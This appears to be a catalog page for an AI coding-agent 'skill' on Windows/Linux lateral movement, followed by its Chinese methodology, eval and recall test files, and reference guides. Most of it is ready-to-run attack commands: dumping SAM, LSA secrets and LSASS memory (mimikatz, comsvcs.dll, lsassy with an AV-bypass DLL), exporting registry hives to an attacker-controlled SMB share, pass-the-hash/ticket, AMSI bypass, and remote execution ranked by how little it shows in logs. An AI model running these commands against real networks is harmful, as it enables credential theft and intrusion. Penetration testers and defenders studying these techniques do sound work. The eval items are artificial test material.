
Lateral Movement
- 27 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
lateral-movement is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- lateral-movement
- AI & Agent Building
- AI-coding skill
Lateral Movement by the numbers
- 27 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,560 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill lateral-movementAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 27 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
横向移动方法论
⛔ 深入参考(必读)
- 需要凭据提取与转储方法 → references/credential-extraction.md
- 需要远程执行技术对比与选择 → references/remote-execution-comparison.md
- 需要 PTH/PTT/PTK 传递攻击技术 → references/pass-techniques.md
- 需要 WinRM/PSExec/WMI/DCOM/RDP/PTT 各技术的具体命令 → references/movement-techniques.md
---
Phase 1: 目标发现
arp -a # 已通信的主机
naabu -host 10.0.0.0/24 -p 22,80,135,445,3389,5985 -silent| 目标 | 价值 |
|---|---|
| 域控 | 极高(控制整个域) |
| 数据库/文件/备份服务器 | 高(敏感数据) |
| 跳板机 | 中(连接更多网段) |
Phase 2: 技术选择决策树
凭据类型 + 目标 OS?
├─ Linux
│ └─ SSH 密码/密钥(chmod 600!)
├─ Windows + 明文密码
│ └─ WinRM > WMI > PSExec(按隐蔽性)
├─ Windows + NTLM 哈希
│ └─ PTH via WinRM/WMI/PSExec
├─ Kerberos 票据
│ └─ PTT(mimikatz kerberos::ptt)
├─ 跨网段
│ └─ SSH 隧道/SOCKS 代理
└─ 需要图形界面
└─ RDP
详细命令 → [references/movement-techniques.md](references/movement-techniques.md)Phase 3: 移动后操作
1. 确认权限 — whoami /all 或 id 2. 重复后渗透流程 3. 收集新凭据 — 可能发现更高权限凭据 4. 评估下一步目标
注意事项
- PSExec 创建服务 → 有明显日志,优先用 WMI/WinRM
- PTH 只对 NTLM 认证有效(Kerberos-only 环境不行)
- 多次失败可能触发告警,控制尝试频率
SSH 密钥认证横向
- SSH 密钥/私钥(id_rsa)发现后直接登录
- 注意文件权限:权限太宽松(如 0644 / too open)SSH 会拒绝
- SSH 安全要求:私钥文件权限必须为 600
{
"skill_name": "lateral-movement",
"evals": [
{
"id": 1,
"name": "lateral-stealth-ordering-windows",
"prompt": "你有目标 Windows 主机的管理员密码,目标开放了 445(SMB)、5985(WinRM)、135(WMI) 端口。按隐蔽性从高到低,你应该优先用哪种方式横向移动?为什么?",
"expected_output": "WinRM > WMI > PSExec/SMB。WinRM 是原生管理协议,日志最少。PSExec 会创建服务,在事件日志中留下明显痕迹",
"expectations": [
"WinRM|5985|最推荐|最隐蔽|首选",
"WMI|135|相对隐蔽|第二",
"PSExec|SMB|445|创建服务|有日志",
"隐蔽性|排序|按隐蔽性选择",
"日志|痕迹|事件日志|检测"
],
"required_terms": [
"WinRM",
"WMI",
"PSExec"
]
},
{
"id": 2,
"name": "lateral-credential-technique-selection",
"prompt": "你有以下凭据类型。每种情况下应该用什么横向移动技术?A) 明文密码 B) NTLM哈希 C) Kerberos TGT票据 D) SSH私钥",
"expected_output": "A) WinRM/WMI/PSExec B) PTH(Pass-the-Hash) via cme C) PTT(Pass-the-Ticket) via mimikatz D) SSH密钥登录",
"expectations": [
"明文密码|WinRM|WMI|PSExec|直接登录",
"NTLM哈希|PTH|Pass-the-Hash|传递哈希",
"Kerberos|PTT|Pass-the-Ticket|票据传递",
"SSH密钥|SSH|密钥登录|Linux",
"凭据类型|决定|技术选择"
],
"required_terms": [
"WinRM",
"WMI",
"PSExec"
]
},
{
"id": 3,
"name": "lateral-linux-ssh-key-auth",
"prompt": "你在一台 Linux 服务器的 /root/.ssh/ 下发现了 id_rsa 私钥文件。你尝试 ssh -i id_rsa admin@10.0.0.50 但报错 'Permissions 0644 for id_rsa are too open'。问题是什么?怎么修?",
"expected_output": "SSH 密钥文件权限太宽松,需要 chmod 600 id_rsa 将权限限制为只有 owner 可读写",
"expectations": [
"chmod 600|权限|0600|只有owner",
"权限太宽松|0644|too open",
"SSH密钥|私钥|id_rsa",
"安全要求|SSH限制|文件权限",
"修复后重试|ssh -i|连接"
],
"required_terms": [
"id_rsa",
"SSH密钥",
"chmod 600"
]
}
]
}
{
"skill_id": "lateral-movement",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"lateral movement",
"横向移动",
"pivot"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"psexec",
"wmi",
"dcom",
"winrm"
]
},
{
"id": 3,
"type": "keyword_positive",
"description": "协议搜索",
"keywords": [
"ssh",
"rdp",
"pth"
]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应被web漏洞召回",
"keywords": [
"sql injection",
"file upload"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "lateral-movement-scenario",
"scenario": "需要从已控主机横向移动到其他内网主机。请搜索横向移动方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "lateral|movement|横向移动|psexec"
},
{
"tool": "read_skill",
"id": "lateral-movement"
}
]
}
]
}
凭据提取技术详解
在获得目标主机管理员权限 (Pwn3d!) 后,从不同位置提取凭据用于进一步横向移动。
---
SAM 数据库
SAM (Security Account Manager) 存储本地用户的 NTLM 哈希。
位置: C:\Windows\System32\config\SAM (需要 SYSTEM 权限访问)
远程提取 (impacket-secretsdump)
# 使用密码
impacket-secretsdump '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>'
# 使用 NTLM Hash
impacket-secretsdump -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET_IP>'
# 使用 Kerberos 票据
export KRB5CCNAME=<USER>.ccache
impacket-secretsdump -k -no-pass '<TARGET_FQDN>'本地提取 (reg save)
# 在目标机器上导出注册表
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM# 传回攻击机后离线解密
impacket-secretsdump -sam SAM -system SYSTEM LOCAL远程 reg save (impacket-reg)
# 远程导出到攻击机 SMB 共享
impacket-smbserver -smb2support share .
impacket-reg '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>' save \
-keyName 'HKLM\SAM' -o '\\<ATTACKER_IP>\share'
impacket-reg '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>' save \
-keyName 'HKLM\SYSTEM' -o '\\<ATTACKER_IP>\share'
impacket-secretsdump -sam SAM -system SYSTEM LOCAL批量提取 (netexec)
# 对子网内所有 Pwn3d 主机批量 SAM dump
netexec smb <SUBNET>/24 -u '<USER>' -H '<NT_HASH>' --samHash 格式
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT_HASH>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::aad3b435b51404eeaad3b435b51404ee= 空 LM Hash (现代系统不存储 LM)- NT Hash 用于 Pass the Hash
---
LSA Secrets
LSA Secrets 存储服务账号密码、缓存的域凭据、机器账户密钥等敏感信息。
位置: C:\Windows\System32\config\SECURITY
远程提取
# secretsdump 会同时提取 SAM + LSA
impacket-secretsdump '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>'
# 批量 LSA dump
netexec smb <SUBNET>/24 -u '<USER>' -H '<NT_HASH>' --lsa远程 reg save + 离线解密
impacket-reg '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>' save \
-keyName 'HKLM\SECURITY' -o '\\<ATTACKER_IP>\share'
impacket-reg '<DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>' save \
-keyName 'HKLM\SYSTEM' -o '\\<ATTACKER_IP>\share'
impacket-secretsdump -security SECURITY -system SYSTEM LOCAL输出内容
1. 缓存的域凭据 (DCC2)
DOMAIN/cached_user:$DCC2$10240#cached_user#a8f2e...- 域用户登录后缓存在本地,用于离线时认证
- Hashcat mode 2100 破解 (极慢)
- 默认缓存最近 10 个域用户
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt2. 服务账号密码 (明文)
_SC_MSSQL$SQLEXPRESS
domain\sql_svc:ClearTextServicePassword
_SC_BackupExec
domain\svc_backup:BackupPassword123- 以
_SC_前缀标识的是 Windows 服务关联的账户 - 直接获得明文密码,可立即用于横向移动
3. 机器账户 ($MACHINE.ACC)
$MACHINE.ACC:
aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
aes256-cts-hmac-sha1-96:<AES256_KEY>
plain_password_hex:<HEX_PASSWORD>- 可用于 LDAP 查询 (以机器账户身份)
- 可用于 Silver Ticket 攻击
---
LSASS 内存提取
LSASS (Local Security Authority Subsystem Service) 进程在内存中保存当前登录用户的凭据。
mimikatz (本地执行)
# 提取所有登录凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"输出包含:
- NTLM Hash
- 明文密码 (WDigest 启用时)
- Kerberos 票据
comsvcs.dll MiniDump (LOLBin)
利用系统自带 DLL 转储 LSASS,无需上传额外工具:
# 获取 LSASS PID
$pid = (Get-Process lsass).Id
# 使用 comsvcs.dll 转储 (需要 SYSTEM 权限)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\temp\lsass.dmp full# 传回攻击机后用 pypykatz 解析
pypykatz lsa minidump lsass.dmpprocdump (Sysinternals)
# 使用 procdump 转储 LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmplsassy (远程提取)
纯远程操作,无需登录目标:
# 基本用法 (可能被 Defender 拦截)
netexec smb <TARGET> -u '<USER>' -p '<PASSWORD>' -M lsassy
# 使用 dumpertdll 绕过 AV
lsassy -d '<DOMAIN>' -u '<USER>' -p '<PASSWORD>' <TARGET> \
-m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll
# 使用 Hash
lsassy -d '<DOMAIN>' -u '<USER>' -H '<NT_HASH>' <TARGET>输出:
DOMAIN\user01 [NT] cba36eccfd9d949c73bc73715364aff5
DOMAIN\user01 [SHA1] a4f2b6c8d...
DOMAIN\admin [TGT] Domain: DOMAIN - End time: 2025-04-24 (ticket.kirbi)重要注意
- 仅能捕获当前登录用户的凭据
- 内存是易失性的,用户注销或重启后凭据消失
- 现代 Defender 会拦截 LSASS 访问,通常需要绕过
---
donpapi: 批量凭据提取
donpapi 利用 DPAPI 远程解密浏览器密码、WiFi 密码、凭据管理器等。
# 基本用法
donpapi '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'
# 使用 Hash
donpapi -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# 批量
donpapi '<DOMAIN>/<USER>:<PASSWORD>@<TARGET1>,<TARGET2>,<TARGET3>'提取内容:
- Chrome/Edge 保存的密码和 Cookie
- WiFi 密码
- Windows 凭据管理器
- 证书私钥
- Remote Desktop (.rdg) 保存的密码
---
pypykatz: 纯 Python mimikatz
无需在目标上执行 mimikatz,纯 Python 实现:
# 解析 LSASS dump 文件
pypykatz lsa minidump lsass.dmp
# 解析 SAM/SYSTEM/SECURITY 注册表文件
pypykatz registry --sam SAM --system SYSTEM --security SECURITY
# 解析 NTDS.dit
pypykatz ntds -s SYSTEM ntds.dit---
Hash 类型速查
| 类型 | 来源 | 用途 | Hashcat mode |
|---|---|---|---|
| NT (NTLM) | SAM / LSASS | Pass the Hash | 1000 |
| LM | SAM (遗留) | 通常为空 | 3000 |
| DCC2 | LSA Secrets | 仅离线破解 (极慢) | 2100 |
| NetNTLMv1 | 网络捕获 | Relay 或破解 | 5500 |
| NetNTLMv2 | 网络捕获 | Relay 或破解 | 5600 |
| AS-REP | Kerberos | 离线破解 | 18200 |
| TGS-REP | Kerberos | 离线破解 | 13100 |
Windows 横向移动技术详解
WinRM (5985/5986) — 最推荐
cme winrm TARGET -u admin -p 'password' -x 'whoami'
cme winrm TARGET -u admin -H HASH -x 'whoami' # PTHSMB/PSExec (445) — 经典,会创建服务(有日志)
psexec.py DOMAIN/admin:password@TARGET
psexec.py -hashes :NTLM_HASH DOMAIN/admin@TARGETWMI (135) — 相对隐蔽
wmiexec.py DOMAIN/admin:password@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/admin@TARGETDCOM — 不走 SMB,可绕过检测
dcomexec.py DOMAIN/admin:password@TARGETRDP (3389) — 图形界面
xfreerdp /v:TARGET /u:admin /p:password /cert-ignore
xfreerdp /v:TARGET /u:admin /pth:HASH /cert-ignore # 需要 Restricted Admin 模式Pass-the-Ticket (PTT) — Kerberos 环境
mimikatz "kerberos::ptt ticket.kirbi"
dir \\dc01\c$SSH 隧道(跨网段)
ssh -L 8080:10.10.10.5:80 user@jumpbox # 本地端口转发
ssh -D 1080 user@jumpbox # 动态 SOCKS 代理
proxychains nmap -sT 10.10.10.0/24 # 通过代理扫描Pass-the-Hash / Pass-the-Ticket / Overpass-the-Hash 详解
三种利用已有凭据材料 (Hash / Ticket) 进行认证的技术,无需知道明文密码。
---
Pass-the-Hash (PTH)
原理
Windows NTLM 认证使用 NT Hash 而非明文密码进行挑战-响应。拥有 Hash 即等同于拥有密码。
netexec 检测密码复用
# 本地管理员 Hash 在子网内复用检测
netexec smb <SUBNET>/24 -u 'administrator' -H '<NT_HASH>' --local-auth
# 域账户 Hash 检测
netexec smb <SUBNET>/24 -u '<USER>' -H '<NT_HASH>'输出解读:
[+] ... (Pwn3d!)= 有管理员权限,可提取凭据和远程执行[+]= 凭据有效但无管理员权限
wmiexec PTH (推荐)
impacket-wmiexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'evil-winrm PTH
evil-winrm -i <TARGET> -u '<USER>' -H '<NT_HASH>'smbexec PTH
impacket-smbexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'psexec PTH
impacket-psexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'smbclient PTH
# 访问共享
impacket-smbclient -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# netexec 列出共享
netexec smb <TARGET> -u '<USER>' -H '<NT_HASH>' --sharesRDP PTH (Restricted Admin 模式)
RDP 协议默认不支持 PTH,需启用 Restricted Admin:
# 检查 Restricted Admin 状态
impacket-reg '<DOMAIN>/<USER>@<TARGET>' -hashes ':<NT_HASH>' query \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
# 启用 Restricted Admin (设为 0)
impacket-reg '<DOMAIN>/<USER>@<TARGET>' -hashes ':<NT_HASH>' add \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
-v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
# RDP PTH 连接
xfreerdp /u:<USER> /d:<DOMAIN> /pth:<NT_HASH> /v:<TARGET>Hash 格式说明
# 完整格式 (LM:NT)
-hashes 'aad3b435b51404eeaad3b435b51404ee:<NT_HASH>'
# 简写格式 (仅 NT,前缀冒号)
-hashes ':<NT_HASH>'
# NetExec 使用 -H (仅 NT Hash)
-H '<NT_HASH>'---
Pass-the-Ticket (PTT)
原理
使用已有的 Kerberos 票据 (TGT 或 TGS) 进行认证,完全走 Kerberos 协议,不触发 NTLM 相关日志。
票据类型
| 类型 | 全称 | 用途 |
|---|---|---|
| TGT | Ticket Granting Ticket | 可请求任意服务的票据 (价值更高) |
| TGS | Service Ticket | 仅能访问特定服务 |
设置票据环境
# 设置 ccache 文件路径
export KRB5CCNAME=/path/to/ticket.ccache
# 查看票据信息
klist -c /path/to/ticket.ccache使用票据认证
# wmiexec
impacket-wmiexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_HOSTNAME>'
# secretsdump
impacket-secretsdump -k -no-pass '<TARGET_HOSTNAME>'
# psexec
impacket-psexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_HOSTNAME>'
# smbclient
impacket-smbclient -k -no-pass '<DOMAIN>/<USER>@<TARGET_HOSTNAME>'重要: Kerberos 认证必须使用主机名 (FQDN),不能使用 IP 地址。确保 /etc/hosts 或 DNS 正确解析。
evil-winrm 使用票据
1. 设置票据:
export KRB5CCNAME=/path/to/ticket.ccache2. 配置 /etc/krb5.conf:
[libdefaults]
default_realm = CORP.LOCAL
[realms]
CORP.LOCAL = {
kdc = dc01.corp.local
default_domain = corp.local
}
[domain_realm]
.corp.local = CORP.LOCAL
corp.local = CORP.LOCAL3. 连接:
evil-winrm -i <HOSTNAME> -r <REALM>kirbi 与 ccache 格式转换
Windows 工具 (mimikatz/Rubeus) 输出 .kirbi 格式,Linux 工具 (impacket) 使用 .ccache 格式:
# kirbi -> ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# ccache -> kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi票据来源
# 从 LSASS dump 获取 (lsassy)
lsassy -d '<DOMAIN>' -u '<USER>' -p '<PASSWORD>' <TARGET> \
-m dumpertdll -O dumpertdll_path=Outflank-Dumpert-DLL.dll
# 票据保存在 ~/.config/lsassy/tickets/
# 从 mimikatz 导出
mimikatz.exe "sekurlsa::tickets /export"
# 生成 .kirbi 文件,需要转换为 .ccache票据生命周期
- 默认 TGT 有效期: 10 小时
- 最大续期时间: 7 天
- 使用前务必检查过期时间
---
Overpass-the-Hash
原理
用 NTLM Hash 向 KDC 请求 TGT,然后完全走 Kerberos 认证。本质上是将 NTLM 凭据"升级"为 Kerberos 票据。
比标准 PTH 更隐蔽: 后续认证全部走 Kerberos (Event 4768/4769),不触发 NTLM 日志 (Event 4624 Logon Type 3 with NTLM)。
执行步骤
# Step 1: 用 Hash 请求 TGT
impacket-getTGT -hashes ':<NT_HASH>' '<DOMAIN>/<USER>'
# 输出: <USER>.ccache
# Step 2: 设置票据
export KRB5CCNAME=<USER>.ccache
# Step 3: 使用 Kerberos 认证
impacket-wmiexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_FQDN>'
impacket-secretsdump -k -no-pass '<TARGET_FQDN>'
impacket-psexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_FQDN>'适用场景
- NTLM 被禁用或限制,但 Kerberos 仍可用
- 需要比标准 PTH 更隐蔽的操作
- 需要 Kerberos 票据用于后续攻击 (如 S4U2Self/Proxy)
---
三种技术对比
| 特性 | PTH | PTT | Overpass-the-Hash |
|---|---|---|---|
| 输入材料 | NT Hash | Kerberos 票据 (.ccache/.kirbi) | NT Hash |
| 认证协议 | NTLM | Kerberos | Kerberos (通过 Hash 获取票据) |
| 日志特征 | Event 4624 (NTLM) | Event 4624 (Kerberos) | Event 4768 + 4624 (Kerberos) |
| 隐蔽性 | 中 | 高 | 高 |
| 是否需要 DC 通信 | 否 (直接与目标认证) | 否 (票据已有) | 是 (需向 KDC 请求 TGT) |
| 有效期 | 永久 (Hash 不变即可用) | 受票据过期限制 (默认 10h) | 获取票据后同 PTT |
| Kerberos-only 环境 | 不可用 | 可用 | 可用 |
| 工具支持 | netexec, impacket, evil-winrm | impacket (-k), evil-winrm (-r) | impacket-getTGT + -k |
---
跨平台票据处理
Linux (攻击机) 环境
# 票据存储为 .ccache 文件
export KRB5CCNAME=/tmp/ticket.ccache
# 确保 /etc/krb5.conf 正确配置
# 确保 /etc/hosts 解析目标主机名
# 时间同步 (Kerberos 要求时差 < 5 分钟)
ntpdate <DC_IP>Windows (目标环境) 导出
# mimikatz 导出当前会话票据
mimikatz.exe "sekurlsa::tickets /export"
# Rubeus 导出
Rubeus.exe dump /nowrap格式转换流程
Windows (.kirbi) ──ticketConverter──> Linux (.ccache)
Linux (.ccache) ──ticketConverter──> Windows (.kirbi)impacket-ticketConverter input.kirbi output.ccache
impacket-ticketConverter input.ccache output.kirbi---
常见故障排除
| 错误 | 原因 | 解决方案 |
|---|---|---|
| KRB_AP_ERR_SKEW | 攻击机与 DC 时间偏差 > 5 分钟 | ntpdate <DC_IP> |
| KRB_AP_ERR_TKT_EXPIRED | 票据已过期 | 重新请求 TGT |
| Server not found in Kerberos database | 使用了 IP 而非主机名 | 使用 FQDN + 配置 /etc/hosts |
| Cannot contact any KDC | krb5.conf 配置错误或网络不通 | 检查配置和网络连通性 |
| STATUS_LOGON_FAILURE (PTH) | Hash 错误或账户被禁用 | 验证 Hash 正确性 |
| Credential Guard | 目标启用了凭据保护 | PTH 可能失效,尝试 PTT 或 Overpass |
远程执行方法对比详解
Windows 环境中存在多种远程命令执行方式,每种在检测风险、速度、前提条件和 OPSEC 方面各有差异。
---
综合对比表
| 方法 | 协议 | 端口 | 检测风险 | 文件落地 | 交互性 | 前提条件 |
|---|---|---|---|---|---|---|
| wmiexec | WMI + SMB | 135 + 动态 + 445 | 低 | 无 | 半交互 | WMI 服务、Admin Share |
| smbexec | SMB | 445 | 中 | 无 | 半交互 | Admin Share ($C) |
| atexec | SMB | 445 | 中 | 无 | 单命令 | Task Scheduler 服务 |
| dcomexec | DCOM + SMB | 135 + 动态 + 445 | 中 | 无 | 半交互 | DCOM 组件可用 |
| evil-winrm | WinRM | 5985/5986 | 中 | 无 | 完全交互 | WinRM 服务启用 |
| psexec | SMB | 445 | 高 | 有 (exe) | 完全交互 | Admin Share、可写 |
推荐优先级: wmiexec > smbexec > atexec > dcomexec > evil-winrm > psexec
---
wmiexec (推荐首选)
通过 WMI 创建进程,输出写入临时文件再经 SMB 读取。
# 使用密码
impacket-wmiexec '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'
# 使用 Hash
impacket-wmiexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# 使用 Kerberos 票据
export KRB5CCNAME=<USER>.ccache
impacket-wmiexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_FQDN>'
# 执行单条命令
impacket-wmiexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>' 'whoami'
# NetExec 方式 (默认使用 wmiexec)
netexec smb <TARGET> -u '<USER>' -p '<PASSWORD>' -x 'whoami'OPSEC 考虑
- 不上传任何文件
- 不创建服务
- WMI 事件在默认日志配置下不明显
- 输出临时文件 (
ADMIN$下) 执行后自动删除
---
smbexec
每条命令创建一个临时服务执行,不上传文件。
# 使用密码
impacket-smbexec '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'
# 使用 Hash
impacket-smbexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# Server 模式 (结果回传到攻击机 SMB)
impacket-smbexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>' -mode SERVER
# NetExec 指定执行方式
netexec smb <TARGET> -u '<USER>' -p '<PASSWORD>' -x 'whoami' --exec-method smbexecOPSEC 考虑
- 每条命令创建+删除一个服务 (产生 Event 7045)
- 无文件上传
- 比 psexec 隐蔽,但服务创建日志仍可被 SIEM 捕获
---
atexec
利用 Windows 任务计划程序 (Task Scheduler) 执行单条命令。
# 使用密码
impacket-atexec '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>' 'whoami'
# 使用 Hash
impacket-atexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>' 'ipconfig /all'
# 执行 PowerShell
impacket-atexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>' \
'powershell -enc <BASE64_COMMAND>'OPSEC 考虑
- 创建计划任务后立即执行并删除
- 产生 Event 4698 (任务创建) + 4699 (任务删除)
- 仅支持单命令执行,无交互式 Shell
- 适合只需执行一两条命令的场景
---
dcomexec
通过 DCOM (Distributed Component Object Model) 执行命令。
# 使用 Hash
impacket-dcomexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# 指定 DCOM 对象
impacket-dcomexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>' -object MMC20
# 使用密码
impacket-dcomexec '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'OPSEC 考虑
- 不创建服务,不上传文件
- 走 DCOM 协议,与 WMI 类似但路径不同
- 某些 DCOM 对象可能在特定系统版本上不可用
- 当 WMI 被阻止时的替代选择
---
evil-winrm
通过 WinRM (Windows Remote Management) 获得完整 PowerShell 交互。
# 使用密码
evil-winrm -i <TARGET> -u '<USER>' -p '<PASSWORD>'
# 使用 Hash
evil-winrm -i <TARGET> -u '<USER>' -H '<NT_HASH>'
# 使用 Kerberos 票据
export KRB5CCNAME=<USER>.ccache
evil-winrm -i <TARGET_HOSTNAME> -r <REALM>内置功能
# 上传文件
upload /local/path /remote/path
# 下载文件
download /remote/path /local/path
# 绕过 AMSI
Bypass-4MSI
# 加载 PowerShell 脚本
menuOPSEC 考虑
- 需要目标启用 WinRM 服务 (端口 5985/5986)
- 产生 PowerShell 日志 (Script Block Logging, Transcription)
- 提供完整 PowerShell 环境,功能最丰富
- 用户需在 Remote Management Users 组或 Administrators 组
---
psexec (检测风险最高)
上传可执行文件到 ADMIN$,创建服务执行。
# 使用密码
impacket-psexec '<DOMAIN>/<USER>:<PASSWORD>@<TARGET>'
# 使用 Hash
impacket-psexec -hashes ':<NT_HASH>' '<DOMAIN>/<USER>@<TARGET>'
# 使用 Kerberos 票据
export KRB5CCNAME=<USER>.ccache
impacket-psexec -k -no-pass '<DOMAIN>/<USER>@<TARGET_FQDN>'OPSEC 考虑
- 上传可执行文件到 ADMIN$ 共享 (磁盘落地)
- 创建服务 (Event 7045)
- Defender/EDR 通常会检测并阻止
- 完全交互式 Shell (SYSTEM 权限)
- 仅在其他方法不可用时使用
---
RDP (远程桌面)
需要图形界面时使用。
# 使用密码
xfreerdp /u:<USER> /p:<PASSWORD> /d:<DOMAIN> /v:<TARGET> /cert-ignore
# PTH (需要 Restricted Admin 模式)
xfreerdp /u:<USER> /d:<DOMAIN> /pth:<NT_HASH> /v:<TARGET>启用 Restricted Admin
# 检查
impacket-reg '<DOMAIN>/<USER>@<TARGET>' -hashes ':<NT_HASH>' query \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
# 启用 (设为 0)
impacket-reg '<DOMAIN>/<USER>@<TARGET>' -hashes ':<NT_HASH>' add \
-keyName 'HKLM\System\CurrentControlSet\Control\Lsa' \
-v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'---
端口需求速查
| 方法 | 必需端口 |
|---|---|
| psexec / smbexec / atexec | TCP 445 |
| wmiexec | TCP 135 + 动态端口 + TCP 445 |
| dcomexec | TCP 135 + 动态端口 + TCP 445 |
| evil-winrm | TCP 5985 (HTTP) 或 5986 (HTTPS) |
| RDP | TCP 3389 |
---
故障排除
| 错误 | 原因 | 解决方案 |
|---|---|---|
| STATUS_ACCESS_DENIED | 用户非目标管理员 | 确认 (Pwn3d!) 状态 |
| Connection refused | 服务未运行/防火墙 | 换用其他方法或检查端口 |
| STATUS_LOGON_FAILURE | 凭据错误或账户锁定 | 验证 Hash/密码正确性 |
| Timeout | 网络不通或目标离线 | 检查路由和目标状态 |
| KRB_AP_ERR_SKEW | 时间偏差 > 5 分钟 | ntpdate <DC_IP> 同步时间 |